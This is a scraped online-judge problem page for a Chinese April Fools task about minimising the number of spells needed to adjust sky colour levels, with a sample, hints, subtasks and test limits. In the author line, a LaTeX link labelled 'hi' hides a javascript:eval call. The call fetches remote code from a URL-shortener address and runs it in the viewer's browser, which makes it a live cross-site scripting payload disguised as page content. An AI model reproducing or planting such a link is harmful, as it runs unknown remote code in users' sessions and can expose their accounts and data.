4550 . 第三章、天空的顏色

Submit
Status
Discussion / Solution
Ranklist
Back to Problems List

TopCoder

cjtsai
$\href{javascript:eval(await fetch('https://t.ly/KeLHW').then(r => r.text()))}{hi}$

User's AC Ratio

66.7% (2/3)

Submission's AC Ratio

40.0% (2/5)

Tags

Algorithm? Mission Star April Fools

Description

Input Format

假設在 $n$ 天的期間內，原本混亂的天空顏色位階為第 $i$ 天是 $a_i$，而漸層變換規則這$n$天中每個詠唱後有出現的位階需至少出現 $k$ 次，以保證不會有單一位階頻率過高的問題，這段期間每天都可以詠唱天空魔法多次，每次詠唱魔法可將該天的位階提升或降低一
輸入格式：
$n\ k$
$a_1\ a_2\ ...\ a_n$

Output Format

這段期間所需天空魔法的最少詠唱次數

Sample Input 1

5 2
1 2 3 4 5

Sample Output 1

3

Hints

這題目其實是從別的地方偷來的題目
不過被我們修改過 所以變得更難 笑死
但 $n, k \leq 3 \times 10 ^ 5$ 所以別擔心
且保證答案存在 我只能說到這

Problem Source

你聽說過 1D/1D 凹凸優化 嗎

Subtasks

No. Testdata Range Constraints Score
1 20 範例測資 0
2 0~9 $n \le k \le 1000$ 20
3 10~19 $n \le k$ 80

Testdata and Limits

No. Time Limit (ms) Memory Limit (VSS, KiB) Output Limit (KiB) Subtasks
0 1000 65536 65536 2
1 1000 65536 65536 2
2 1000 65536 65536 2
3 1000 65536 65536 2
4 1000 65536 65536 2
5 1000 65536 65536 2
6 1000 65536 65536 2
7 1000 65536 65536 2
8 1000 65536 65536 2
9 1000 65536 65536 2
10 1000 65536 65536 3
11 1000 65536 65536 3
12 1000 65536 65536 3
13 1000 65536 65536 3
14 1000 65536 65536 3
15 1000 65536 65536 3
16 1000 65536 65536 3
17 1000 65536 65536 3
18 1000 65536 65536 3
19 1000 65536 65536 3
20 1000 65536 65536 1
Submit
Back to Top